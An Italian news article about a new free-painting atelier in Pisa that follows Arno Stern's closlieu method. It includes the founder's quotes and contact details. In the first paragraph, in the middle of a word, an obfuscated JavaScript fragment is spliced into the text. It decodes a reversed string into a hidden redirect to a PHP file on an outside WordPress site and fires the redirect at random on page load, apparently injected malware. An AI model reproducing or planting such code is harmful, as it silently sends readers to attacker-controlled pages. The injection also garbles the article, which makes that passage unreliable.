Pittura libera per tutte le età, apre a Pisa il primo closlieu della Toscana

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A Pisa, non lontano dalla stazione, c’è una stanza semivuota, con le pareti ricoperte di sughero un po’ sporche di pennellate variopinte. Al centro, su uno scaffalino di legno, 18 vaschette di colori con 3 pennelli ciascuna, i bicchieri con l’acqua, la cassettina con le puntine. E in un angolo tanti gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andi fogli bianchi pronti per essere usati. L’atelier Les dix-huit, all’apparenza, è tutto qui. Ma dietro c’è un metodo preciso, studiato e messo a punto in 50 anni di attività da Arno Stern, semiologo, educatore e teorico del “gioco del dipingere”.

Nell’atelier Les dix-huit – primo spazio del genere in Toscana – si svolgono da circa un mese le prime sedute di pittura libera, in cui bambini, ragazzi e adulti possono sperimentare un approccio originale alla creatività e all’espressione di sé.

Secondo i principi di Stern, lo spazio dell’atelier è un luogo chiuso (closlieu), al riparo da influenze e distrazioni esterne, dove si può dipingere liberamente e spontaneamente. Tutto è predisposto perché il gioco del dipingere sia fluido e naturale, senza interruzioni e ostacoli: colori e pennelli sono a disposizione del gruppo in un’apposita tavolozza collettiva al centro della stanza, e l’operatore – praticien-servant – controlla che tutto fili liscio ed è sempre pronto a soddisfare le necessità di ognuno.

L’atelier pisano è nato per volontà di Simona Bartalucci, designer, insegnante e madre, che dopo l’incontro con Stern ha deciso di iniziare un nuovo percorso professionale e umano: «Con la nascita di mia figlia è cresciuto in me l’interesse per l’educazione creativa. La libera espressione dei bambini non dovrebbe essere incanalata in modelli costrittivi, o condizionata dal giudizio dei grandi. Nell’atelier – continua Simona – nessuno deve fare un “bel disegno”, o disegnare qualcosa di specifico. Ognuno dipinge per il suo proprio piacere, creando un mondo a sua misura, secondo le sue necessità. Non c’è competizione, così anche i più timidi si sentono al sicuro, mentre i più irrequieti trovano tranquillità in un’attività che richiede attenzione e regole di convivenza».

Nel closlieu non si dipinge così tanto per fare, distrattamente e svogliatamente, magari su fogliacci di recupero o con pennarelli scarichi. All’attività del dipingere è riservato il massimo rispetto, così anche i materiali sono di ottima qualità: colori biologici e pennelli morbidissimi.

«In questo primo mese abbiamo avuto già 23 iscritti – precisa Simona – e diversi proseguiranno. Finora il gruppo è stato composto solo da bambini, ma l’atelier è aperto anche a quegli adulti che cercano un’attività in cui lasciar fluire le emozioni, diversamente da quanto accade nella routine quotidiana. È importante ricordare che non si tratta di un corso di pittura, non serve nessuna abilità o talento particolare! ».

L’atelier Les dix-huit (diciotto, come i colori della tavolozza) si trova a Pisa in via Masaccio 20, vicino al Viale delle Piagge e alla nuova Biblioteca Comunale. La frequenza delle sedute è una volta alla settimana, ogni seduta dura un’ora e mezzo.

Per informazioni e iscrizioni:
Simona Bartalucci 338/4881554
les18atelier@gmail.com | www.les-dix-huit.it

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